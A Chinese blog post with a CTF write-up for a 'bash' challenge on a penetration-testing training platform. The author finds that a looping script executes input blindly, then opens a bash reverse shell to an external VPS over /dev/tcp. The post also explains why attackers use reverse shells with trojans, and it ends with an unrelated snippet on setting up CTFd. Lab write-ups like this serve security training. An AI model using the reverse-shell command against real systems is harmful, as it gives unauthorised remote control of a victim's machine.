安鸾渗透测试平台-CTF系列-bash

工具Xshell 公网VPS接收反弹shell

Xshell新手的下载及安装教程(超详细)_新手程序员攀爬之路的博客-CSDN博客_xshell使用教程

 

Xshell连接后

#!/bin/bash

cat ${0}

while :
do
    echo "$"
    read input
    output=`$input`
显示了一个文件,不过咋做呢?这里可能考察的是linux的语法
方法 输入bash 获得shell

cat ${0}

while :
do
    echo "$"
    read input
    output=`$input`
done
$
bash
ctf@93e6b425811b:/home/ctf$ ls
ctf@93e6b425811b:/home/ctf$ cat flag
cat: flag: No such file or directory
ctf@93e6b425811b:/home/ctf$ cat /flag
cat: /flag: No such file or directory

发现还是无正常数据回显,仅仅是保错,不过联想到题目名字Bash 也正好符合反弹shell的条件。(数据无法回显?)

为什么要反弹shell

通常用于被控端因防火墙受限、权限不足、端口被占用等情形

假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。

2.它的ip会动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
 

#!/bin/bash

cat ${0}

while :
do
    echo "$"
    read input
    output=`$input`
done
$
bash
ctf@93e6b425811b:/home/ctf$ ls
ctf@93e6b425811b:/home/ctf$ cat flag
cat: flag: No such file or directory
ctf@93e6b425811b:/home/ctf$ cat /flag
cat: /flag: No such file or directory
ctf@93e6b425811b:/home/ctf$ 
ctf@93e6b425811b:/home/ctf$ bash -i >& /dev/tcp/121.xxxxxxx/3333 0>&1

 

 


算是尝试的误打误撞写了出来,不过关于第一个框中的代码,还有为什么数据不回显原因还是不太懂,如果有懂的老哥可以帮忙指正一下。(评论私聊都行)

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
CTFd是一个用于举办和参加CTF(Capture The Flag)安全竞赛的平台。根据引用\[1\]和引用\[2\]的内容,你可以按照以下步骤在Ubuntu上搭建CTFd平台: 1. 首先,确保你已经安装了虚拟机并配置好了Ubuntu系统。具体的安装和配置步骤可以参考相关的教程。 2. 配置阿里云镜像下载源文件。这可以加快软件包的下载速度。你可以按照引用\[1\]中的指导进行配置。 3. 进入CTFd目录。在终端中使用cd命令进入CTFd的目录。 4. 使用gunicorn工具配置CTFd。根据引用\[2\]和引用\[3\]的内容,你可以使用以下命令配置gunicorn工具: ``` gunicorn --bind 0.0.0.0:8000 -w 5 "CTFd:create_app()" ``` 5. 如果你希望在重启电脑后再次运行CTFd平台,确保以root权限运行。在Ubuntu终端中使用sudo命令运行上述命令。 这样,你就可以在Ubuntu上成功搭建CTFd平台了。请注意,这只是一个简单的搭建过程,具体的配置和使用方法可能会有所不同,你可以参考相关的文档和教程进行更详细的了解和操作。 #### 引用[.reference_title] - *1* *2* *3* [基于Ubuntu搭建CTFd平台(全网最全)](https://blog.csdn.net/qq_25953411/article/details/127489944)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值